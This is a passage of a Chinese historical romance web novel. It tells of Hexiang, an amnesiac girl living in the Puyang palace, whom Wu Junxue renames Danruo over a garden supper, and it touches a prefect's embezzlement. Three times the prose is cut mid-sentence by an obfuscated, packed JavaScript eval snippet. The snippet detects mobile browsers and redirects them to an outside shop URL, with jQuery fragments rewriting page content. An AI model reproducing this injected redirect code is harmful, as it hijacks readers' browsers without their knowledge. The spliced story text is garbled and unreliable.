客室墙角安放一口石缸，缸里养着几尾锦鲤，红红黄黄，在水里慢悠悠地游着，很是自由。 “这行宫真好看。”荷香由衷地说。 距离膳房准备好餐食还有些时候。 青苗端了一碟子点心来，说：“姑娘饿了吧？先垫垫，晚饭过一会儿就送来。” 荷香拿起一块桂花糕咬了一口，问：“殿下住哪个院子？” 青苗和白水对视一眼。 青苗斟酌着说：“殿下住前院。姑娘没事别往前院去，殿下不喜欢人打扰。何总管特意交代过的。” “我知道。”荷香乖乖点头，“我就是问问。” 可她心里想的是另一回事。 从船上到行宫，她见那个人的次数屈指可数，每次都是匆匆一瞥，连句完整的话都没说上几句。 她欠他一条命，却连他叫什么都不知道。 何总管说他姓邬，可名字呢？ 她总不能一辈子叫人家“殿下”。 吃过晚饭，青苗和白水伺候她洗漱完毕，便退到外间去了。 荷香一个人躺在榻上，被子是新晒过的，有太阳暖烘烘的味道与槐花香。 她不知道自己为什么一直想着邬君雪。 ……许是因为他救了她？ …… 到濮阳的翌日。 整座行宫空寂不已，明面上算是主子在的，独独一个荷香。 青苗端着洗脸水过来，见她起了，笑着说：“姑娘今日精神好。” “睡得好。”荷香说，犹豫了一下，又问，“殿下用过早膳了吗？” 青苗的动作顿住，停住笑意问：“姑娘问这个做什么？” 作为濮阳行宫的家生奴，她倒是从没见过这么喜欢打听殿下的人。 可偏偏，殿下纵容着，竟没将她赶出去！ 况且，少女如今生着病，丫头侍从们一概顺着荷香的意来。 有问便有答。 比起常常在外的邬君雪，倒更像这儿长大的主人。 “我想去给殿下请安。”荷香理所当然说，“他是我的救命恩人，我住在人家的行宫里，连声谢都不去说，太不像话了。” 青苗喉咙微梗，为难道：“殿下用过早膳了，这会儿在外面。至于去了哪儿， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550958|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不是我们这些做奴的，该打听的事了。” 青苗替她绾发，手指灵巧地穿梭在乌黑发丝间，不一会儿，精巧灵动、正面两侧皆佩戴上好的银流苏的发髻便弄好。 荷香望着镜中的自己，惊艳又陌生：“青苗姐姐，你从前在行宫里伺候过别人吗？” 青苗一顿，摇摇头说：“自然是没有的。这行宫平日里只有殿下来住，一年也住不上两个月。后院这些厢房从来都是空着的，姑娘呢，是头一个住进来的。” 何总管亲自安排厢房、专门挑她们来伺候…… 这样的阵仗，在行宫里从未有过。 这姑娘来路不明，殿下却留她在船上养了好些天，到了濮阳，又安置在后院，怕是有些来历。 可哪有有来历的金贵小姐铰了头发、脚上缝着针、跳河的？ 白水和青苗二人嘀咕了半宿，也没嘀咕出个所以然。 不过，荷香可不知道这些小九九。 她接过帕子，擦擦小脸。 青苗端着铜盆退出去，在廊下碰巧遇见白水。 白水正蹲在石榴树底下择菜，见她出来，拿胳膊肘捅了捅她，认真道：“又打听殿下了？” 青苗把铜盆搁在石台上，往厢房那边努了努嘴。 “这姑娘，胆子是真大。上回听小太监们说，在船上就想往殿下跟前凑，如今住进行宫，还不消停。一早起来就问殿下用过早膳没有。” 青苗拧了把帕子搭在盆沿上，继续说。 “你说她到底是什么来路？何总管亲自安置的，陆大夫天天来瞧，殿下也不撵人。” 她在行宫伺候这些年，从没见过殿下留哪个千金小姐住过。 白水把一根老菜叶子择掉，淡淡道：“何总管不是说了么，落水被救的，撞伤了头，什么都不记得。” “话是这么说。”青苗回头望了一眼荷香的厢房，见没有反应，这才开口，“可你想想，殿下那性子，去年濮阳知府的小姐在行宫门口硬生生站了半刻钟，殿下连门都没让她进。这位倒好，不但住进来了，还敢打听殿下的私事，甚至直到现在，殿下都没赶他出行宫。” 在行宫伺候了这么久，哪个丫鬟没奢想过麻雀飞上枝头变凤凰的梦？ 可日子久了，才发现，殿下就是个冷心冷情的主儿。 因着在濮阳的缘故，她们能亲近一步，唤声殿下，若回了上京，唯能跪在冕下，恭敬称陛下。 白水停下择菜的手，瞪青苗：“你这话是什么意思。” “我可没什么意思。”青苗把帕子抖开晾在绳子上，嘴角压不住地往上翘，“我就是觉着，殿下待她不一样。你不觉得？” 白水掩盖住眉眼间的失落。 过了片刻，她开口：“殿下的事，别瞎猜，我们伺候好姑娘便是。” 青苗最烦她这样假装人淡如菊的样子，气得撇撇嘴，端起铜盆走了。 邬君雪办完事回来的时候，日头已经偏西了。 他在外面跑了一整天，见了濮阳的知府，又去看了运河的几处堤坝，处置了几件不大不小的公务。 何安一路跟着，鞍前马后地伺候，眼看着他连口水都没好好喝过，心里头着急，嘴上却不敢说。 马车往行宫方向走。 到了行宫门口，何安先下了车，掀开帘子。 邬君雪抬脚往宫门走，刚走了两步，蓦地停下。 何总管跟在后面，差点撞上去，连忙收住脚，问：“殿下？” 邬君雪站在门廊下头，拐了个弯，朝后院的方向去了。 20. 共食 何安跟在邬君雪身后，大气都不敢出。 行宫建了好几年，殿下每年夏初来住一阵子。 常去的，是前院、书房、正堂、后花园这些地方，而后院，从来不去。 后院的厢房大多是给随行的下人们备着的，殿下没有去后院的道理。 前院的偏殿也是给未来宫中随行的贵人娘娘们准备的。 意义不同，自然只能将荷香安排了后院。 可今日，殿下去了。 何安心绪百转千回，却一概不可开口问。 有些事，说出来，若成了，是贴主子们的心。 要是没成，那便是做下人的，多管闲事、搞不清本分！ 何总管在邬君雪身边待了这么久，最灵通的一点，乃睁一只眼闭一只眼。 出人意料的是，后院庭阶寂寂，蝉鸣高嘶。 石榴树的灰影斑驳错落。 石缸里的锦鲤不知躲到哪里去了，水面平静无波，映着一小块天空。 廊下挂着一串干辣椒，是厨房的刘厨娘晒在那里的，红艳艳的，在风里轻轻晃着。 墙角新搬来几盆栀子花，花开得正好，与附近槐花相映成趣，花香、甜香，各有各的其中妙味儿。 邬君雪停住，远远瞧着院子里的模样。 他对后院太过陌生，以至于第一时间内，竟不知晓该寻个怎样的理由来这儿。 ……即便他本不需要莫须有的借口。 镜台上搁着玉白瓷瓶，花瓣似的边缘烧得黛粉，几枝野花懒懒散散地倚在那儿，莫名勾人。 和她一样。 邬君雪莫名想。 许是失忆的缘故，用普世的眼光来看，荷香是个太单纯的野女孩儿。 不如上京贵女们端庄贤淑，亦不如山野丫头们莽撞豪气。 然，船舫匆匆一瞥，让他默许了小姑娘的靠近。 站了一会儿，何总管试探开口：前院那边，已给殿下备好了晚膳。您看……？” 邬君雪看着那扇关着的门，想着那姑娘大概在屋里。 何安说，她总是对着铜镜发呆。 不知是在记住她自己，还是在想那些记不起来的事。 邬君雪神色不变，正要转身离去，忽而，听见脚步声愈发逼近。 “姑娘，您慢些走，当心脚下！”是陆大夫的声音很是紧张。 “没事没事，我好着呢！” 是荷香的声音。 脚步声越来越近，拐过了游廊的弯，荷香出现在蔷薇缠绕的门廊外头。 她低着头，正跟身后的陆大夫说着什么，手里提着一只竹篓，竹篓里装满了绿油油的草药，满得快要溢出来。 少女衣裳袖口挽到了胳膊肘，纤细白皙的小臂上，少许湿润，夹杂着大多干燥的泥点儿。 那张漂亮的小脸处处泥印，鼻尖、下巴……左一道右一道的，像一只刚打过滚儿的花猫。 荷香出了许多汗，再者，何安在船上临时给她找的衣裳本就大了些。 如今穿了好几日，袖口的地方磨得起了毛边，缝线处绽了口子，露出一小截里衣。 她却浑然不觉。 兴高采烈地跟陆大夫说话，长睫盈盈，笑意灵灵。 “陆大夫，这几株薄荷我给您栽在东边的盆里，您回头看看，行不行？” “姑娘栽的，准行。”陆大夫笑着应道。 荷香弯唇点头，提着竹篓跨过了月亮门，一抬头，便瞧见，眸色不清的邬君雪。 她手一软，竹篓差点滑下去。 赶忙用另一只手托住，往后退了半步，脚跟磕在门槛上，身子晃了晃。 陆大夫在后面扶了她一把，才站稳了。 “殿、殿下？” 荷香既惊讶又心虚。 不是说，殿下不会来后院么？ 难道，她被白水骗了。 荷香低头见自己满身的泥巴，而邬君雪干干净净的，白衣泠然，不由尴尬。 邬君雪眼也不眨地打量着归来的少女。 看她脸上那些泥水、以及羞恼而微抿的粉唇。 乌黑眸子水亮，里头映着的，不止晚霞叆叇、粉紫余光…… 还有他的影子。 邬君雪心想，这姑娘，大概不知道自己这副模样有多让人移不开眼。 “殿下怎么在这里？”荷香又问。 她往后一缩，试图把自己藏在阴影里，跟这样他就看不见她身上的泥巴似的。 邬君雪说：“我不能来？” “不是不是。”荷香连忙摇头，说，“殿下哪里都能来！行宫是殿下的，殿下想去哪里就去哪里。我就是……没想到殿下会来后院。” 荷香踢了踢地上的泥土，语气青涩，却带着点小骄傲，解释道：“我今日帮陆大夫种药材去了，种了好多盆呢。大夫说我种得特别好，殿下您看，那边的花盆，都是我和陆大夫今日种的。” 粗陶盆大大小小的有七八个，整整齐齐地摆着，土面上铺着干草，草叶在风里轻轻飘着。 邬君雪顺着她手指的方向看了一眼。 他说：“你脸上有泥。” “……” 荷香立刻伸手擦了擦自己的脸。 只可惜，非但没擦掉，还又蹭了手背的一块上去。 荷香脸一下子红了：“我现在就去洗。” 她说着就要往屋里跑。 “站住。”邬君雪说。 荷香停下来，转过身不解地看着他，有些许隐秘的小小期待。 她不知道他要说什么，可她愿意等他说。 邬君雪心想，她可真爱笑。 可他给她的，实在太少了。 “来我的身边。”邬君雪说。 荷香一愣，旋即，乖乖走过去。 她比他矮了整整一个头，要仰着脸才能看见他的眼睛。 她仰着脸看他，晚霞行千里，其余晖照在脸上，显得那些脏污更加清楚。 邬君雪低下头，指背干燥凉爽，在她脸上轻轻抚过。 荷香唇齿微张，连呼吸都忘了。 邬君雪收回手，示意何安给她递上擦脸的帕子。 荷香一摸，便知晓它价值不菲。 用它来擦脸上的泥巴简直是糟蹋东西。 少女揪住帕子，胡乱涂抹几下。 泥巴是擦掉了，可脸上多了几道红印子，显得更可怜了。 邬君雪觉得有些好笑。 一时之间，不知小姑娘，是不是真的在装模做样，好让自己更在意。 他问：“擦完了？” 荷香把帕子从脸上拿下来，看了看，帕子上多了几块泥巴印子，变成了花帕子。 她有些不好意思，把帕子叠好，想还给他，又觉得脏了不该还，握在手里，伸出又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550959|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉回，不知道该放哪里。 “帕子我洗干净了再还给殿下。”荷香开口道。 “不必。”邬君雪从她手里抽回，随手放进了袖中。 荷香呆住。 那帕子脏了，他还收回去？ 她想劝阻几句，可再三思量，到底没说。 彼时，陆大夫不知何时，已悄然出了院子，连竹篓都没拿，留在月亮门外头。 何安也退得更远了，站在游廊的尽头，背对着这边，假装在数墙上的砖缝。 院子里只剩下他们两个人。 “殿下是怎么到后院的？”荷香歪着头，等他的回答。 “我从外面回来，碰巧路过罢了。”邬君雪抬眼凝视左侧，说。 荷香往自己身后看了一眼。 后院通往前院只有这一条路。 他要是从前院过来，那便真是路过。 可倘若他要是从外面回来，该先经过前院，再到后院。 而这，不叫路过，叫绕路！ 况且，荷香心头门清儿，行宫的大门就在前院。 他从外面回来，不先去前院歇着，绕到后院来做什么？ 荷香暗暗窃笑两声，揶揄道：“殿下从外面回来，先到后院来路过一下？” 邬君雪不由道：“我随便走走。” 荷香说：“既然如此，殿下，我先去换身衣裳。” “不必。” “可是我这衣裳破了。” 邬君雪疑惑道：“我看见了。” 荷香咬唇，不满撒娇道：“那殿下还让我站着？” 邬君雪叹了口气，第一次觉得无奈：“你这身衣服，是哪里来的？” 荷香不解：“何总管给我的啊。在船上临时找的，不过，这衣裳料子穿着很不错的的，就是破了点，补一补还能穿。” 她自然的语气，真像是什么都不缺似的。 可她明明缺了很多。 而他，想给她很多东西。 想给她穿上好的绸缎，裁成合身的衣裳，颜色要挑衬她的。 水红色也好，浅粉色也罢。 他要把荷香打扮得漂漂亮亮的，站在普天之下，没有一个人敢忽视她。 倘若记忆永远不再归来，邬君雪甚至想给她一个身份。 “你这衣裳不能再穿了。”邬君雪说。 荷香撇嘴：“那穿什么？” “何安明日会给你置办新的。” 荷香愣了一下：“多谢……殿下？” 她想说殿下对我真好，然则，又觉得这话说出来太厚脸皮了。 直来直往亲昵拥抱，对她而言，太过，只好掩面一笑。 邬君雪看着她的笑脸，心想，他还没做什么呢，就是让人给她置办几件衣裳，她就高兴成这样。 要是他给她更多的东西，她是不是会更高兴？ 可惜，他不知道。 荷香问：“殿下，您用晚膳了吗？” “没有。” “殿下您又不按时吃饭。”荷香皱眉，语气里自然地埋怨，“我去给殿下端来。” “不必，前院……” 话音刚落，何安就端着托盘从游廊那头走过来了。 “……” 邬君雪气极反笑。 荷香一边瞧石桌上的饭菜，一边打量邬君雪的神色，试探问：“殿下在院子里用膳？” 21. 君唤丹若 清蒸鲥鱼、笋尖煨火腿，碧粳粥并几样时令小菜。 菜色不多，却样样精致。 石桌摆在石榴树下，晚风穿堂而过，将干辣椒和栀子的香气搅在一处。 邬君雪在石凳上坐下。 荷香站在一旁，犹豫着自己该走，还是该留。 “坐下。”邬君雪说。 荷香依言，在他对面坐下，把挽到胳膊肘的袖子放下来，遮住那截沾了泥点的小臂。 袖口的缝线绽了口子，她拢了拢，未果。 邬君雪将竹筷递给她。 荷香接过，低头扒了一口粥，清粥温热，米粒熬得软烂。 她确实饿了。 可到底身子还是习惯了规矩，吃得很慢，每一口都细细嚼过才咽。 陆大夫方才还打趣荷香，说种药材时，那股劲头像要在后院里开荒，到了饭桌上，反倒斯文起来。 “你方才说，今日帮陆大夫种药材。”邬君雪夹了一筷笋尖，语气寻常。 荷香点头，放下筷子，用手比划起来：“种了薄荷、紫苏、益母草。陆大夫说薄荷最好活，掐个尖插在土里就能生根。益母草花期还没到，要等到七月才开花。” 她说起药材来眉眼生动，乌溜溜的眼睛于暮色闪闪发光。 倒和方才站在门口时，局促不安的模样判若两人。 邬君雪意味不明道：“你怎么认得这些？” “陆大夫教我的。我在院子里闲得发慌，陆大夫见我闷在屋子里头，便让我帮他翻土。”荷香歪着头想了想，“殿下，我从前是不是学过这些？我摸着那些草药叶子，总觉得很熟悉。可又想不起来在哪里见过。” 穷苦人家想要求学是很难的，更何况，她还是个女子。 不说权贵，若荷香来自富庶人家，学过医书，那也不算奇怪。 邬君雪搁下筷子，问：“你还记得什么？” 荷香抿唇，语气失落道：“什么也不记得。” 初到船舫，她受惊失措，睡意浅浅，时常做梦。 梦里宫殿楼宇、雕梁画栋，自己却跪在雪天之下，见茫茫苍白，有人携女子柔荑，于长廊，冷眼相看。 记忆最后，她抬首，含泪唤—— “姐姐。” 碎梦一回，泪水湿透，醒来，竟一概忘了。 荷香觉着可惜，但心底却隐隐不安。 那般着实痛苦，身心俱疲。 倘若恢复记忆，就遭至如此下场，她到底，不想回头！ 荷香抬头看着邬君雪，又问，“殿下，你遇见我的时候，我是什么样子？” 邬君雪端起茶盏，水面映着晚霞的余晖：“不记得了。” 闻此一言，荷香迟疑不决，把想说的话在舌尖上滚了一遍。 晚风吹过树梁，将昨日夏季潮湿雨水润透的石榴小花卷到她脚边。 荷香思量再三，毅然道：“殿下，您能不能帮我找找家人？” 世间相术人皆言，梦也，与真实异也。 她能从坠河的危机中活下来，又怎能去惧怕、担忧未知的亲人？ 荷香想，她需要家人。 少女贪恋俊郎郎君的好皮相，亦感恩对方的救命真情，甚至心存反哺之意。 然，失去过往，不过浮萍耳。 即便有慕艾心绪舒缓内心焦虑，可假使她真的想要与对方在一起，那便不能只是一个伶仃无依的孤女。 感受到少女语气的疏离，邬君雪微微捏紧茶盏。 他不知道她有没有家人。 夏日，本属于邬君雪的微服私访。 可在上京中，唯有一人，嫌疑最大。 相府表小姐，薛荷香。 那位姑娘父母双亡，从江南投奔上京，而名字，早已出现在太后的选秀名册上。 原本，是他自己，给太子邬晏准备的太子妃。 若眼前之人，真是薛荷香。 ……他该怎么答？ 一时之间，邬君雪深感这比一些折子还要难答：“我自然允你。不过，你记得他们吗？” “……不记得。”荷香声音越来越小，隐隐被蝉鸣盖过，“可是人总该有来处。我每天对着铜镜看自己，看了又看，总觉得这张脸很陌生。有时候想，要是有一天，我走在街上，遇见一个认得我的人，她高兴叫出我的名字，而我……可能甚至连对方是谁都不知道，那该怎么办？” 荷香眼里满是藏不住的茫然。 失去了记忆，她到底只是个在相府深闺养着的、才及笄不久的姑娘。 邬君雪说：“你想知道你的名字么？” “殿下知道我的名字？”荷香双眼一下亮了，问。 邬君雪看着她那副急切的模样，不由升起一点儿心疼。 这姑娘总是怕麻烦人。 听何安说，在船上的时候，怕添乱，便自己学着浆洗衣裳，把一双细皮嫩肉的手搓出红印。 至今，怕自己是个麻烦人，连问名字都问得这样小心翼翼。 而邬君雪，并没有直接证据，确定她就是相府那个死掉的表小姐。 于是，他说：“我暂时不能告诉你。但你从前的事，我会帮你查。” 听着此话，荷香失落垂眼，旋即，又扬起脸，笑道：“那殿下打算叫我什么？” 邬君雪想，这可真不公平。 她害怕给何安添麻烦，却总是如此大胆地依赖他、冲他撒娇。 好似，他邬君雪生来，就该是宠着她、依着她。 如今，少女整个人邋里邋遢，却理直气壮地坐在他对面，要一个名字。 邬君雪心尖暗自失笑，问：“你想叫什么？” “我可以自己想？”荷香瞪圆了眼睛，说。 哪有这样的。 她吐吐舌头，说：“难道，殿下不怕我取个和您一样姓氏的名字么？” 这突如其来的一句，让邬君雪头一次，耳尖发红。 他皱眉：“你先说。” 荷香依言认真思索起来。 她歪着头，食指一下、一下点着下巴，想了半晌，郑重其事地开口：“薄荷。” “……” “不好吗？”荷香笑眯眯的眼跟月牙儿一样弯，促狭自嘲道，“我今日种了好多好多薄荷。陆大夫说，薄荷好养活，掐个尖就能活。我觉得跟我挺像的呢。” 她在水中没吃没喝，却活了。 难道不和薄荷一样？ 邬君雪望着她笑盈盈的脸蛋，嘴角几不可察弯了弯。 一个失忆的小姑娘，不知道自己是谁，住在别人的行宫里，穿不合身的旧衣裳，还能理直气壮地觉得自个儿厉害。 这意外地让邬君雪感到难得的轻松。 朝堂上下，多少人在面前诉苦，字字句句，都在讨同情、求赏赐、争权势。 邬君雪年少至如今，不曾抛下这滔天权势，然则，于夜深人静时，偶感孤寂。 他说：“不好。” 荷香蹙眉：“为什么不好？” 邬君雪说：“邬薄荷？我不认为适合你。” 荷香不服气，却又不敢顶撞，只好小声嘟囔：“哪里不适合了？我觉得我跟薄荷特别像啊！” 邬君雪没有理会她的嘟囔。 身后，石榴树正值花期，橙红色的花骨朵缀在枝头，有些已经开了，瓣子薄得像纸，被晚霞一照，红得几乎透明。 他抬手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552567|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 折了一枝，转过身，将那枝石榴花递给她。 “叫丹若。” 经过这些日子的细细调养，荷香的面色已是红润。 花容月貌，月姿霞质。 倘若她生来有一颗红痣在眉心，便能生得和莲座下的佛子七八分神似。 荷香接过花枝，一时有些茫然：“丹若？” “石榴的别称？你方才不是说自己像薄荷么” 邬君雪低下头，解释道：“薄荷太素，亦过冷。丹若，更衬你。” 花瓣红艳艳的，煞是好看。 “丹若。”荷香自己念了一遍，把那枝花抱在怀里，说：“谢殿下赐名。” ……那姓氏呢？ 荷香犹豫地张了张嘴，还是没问出口。 要是……真的冠了殿下的姓，那该怎么办？ 荷香不由多想，连忙拍拍脸颊，让自己清醒过来。 “殿下，”荷香语气轻快地开口，“你从前，是不是很会哄人开心？” “……” 邬君雪抬眼，蹙眉凝视着她。 会哄人？ 他？ 邬君雪问：“何出此言？” “因为我要什么，你都给我啊。” 荷香满不在意地说，从屋内把瓷瓶拿出来，放入新折的石榴花。 邬君雪放下竹筷，认认真真道：“我不用哄任何人开心。” 他说：“你也不用。” 荷香望着他，想从他脸上找到这句话的理由。 可她找不到。 邬君雪的神色一如既往的冷，她看不懂。 荷香低头，轻轻应了一声。 …… 回前院，安排好荷香的日常起居后，何安便了退出去。 但不过片刻，内侍总管又折了回来。 手里，还多了一封火漆密信：“殿下，濮阳来的急报。” 邬君雪接过信，就着烛火看完。 濮阳知府韩崇，在去年，以修河堤为名，向户部请拨了八万两银子。 到了现在，那河堤依旧只修了不到两里！ 余下的银子不知去向。 上京春初之时，他派了密探去查，意外发现一件更有趣的事。 这位素来清廉的知府，正将名下田产、铺面、古玩字画陆续转移到其长子韩昭名下。 转移的名义五花八门，有说是赌债抵偿，还有说是陪嫁预支，甚至有几笔干脆什么名目都没有，直接抬了箱子出城。 一个知府，三年俸禄不过百余两，韩家父子却在濮阳城南买了一整条街的铺面。 “韩崇那个女儿，”邬君雪抬眼，“是不是曾经选秀递过名册的。” 何安略一回想，躬身道：“回殿下，是有这么回事。韩家小姐字盈双，复选被刷了下来。是……太后娘娘说，她八字冲撞了宫中贵人。” 邬君雪记得这个女子。 选秀失败后，韩盈不知从哪里打听到他常住在濮阳行宫，曾提前跪守，字字恳切，说些仰慕陛下久矣，愿以蒲柳之姿侍奉左右云云。 以世俗眼光瞧，韩盈生得不算差，跪在风里，裙纱轻扬，确实有一番寻常秀女没有的胆气。 但他没兴趣。 “韩崇想把女儿送进宫，没能成。如今，便想改投东宫么。” 邬君雪将密信折好，火舌舔过纸角，将它烧成灰烬。 “那些转移出去的钱，有三分之一去了上京的几间当铺。那几间当铺的东家，都姓谢。” 谢家。 谢珩是安北侯府的人，亦是薛玉宜的未婚夫。 这个圈子绕了一圈，还是绕回了相府。 “韩盈现在何处？”他问。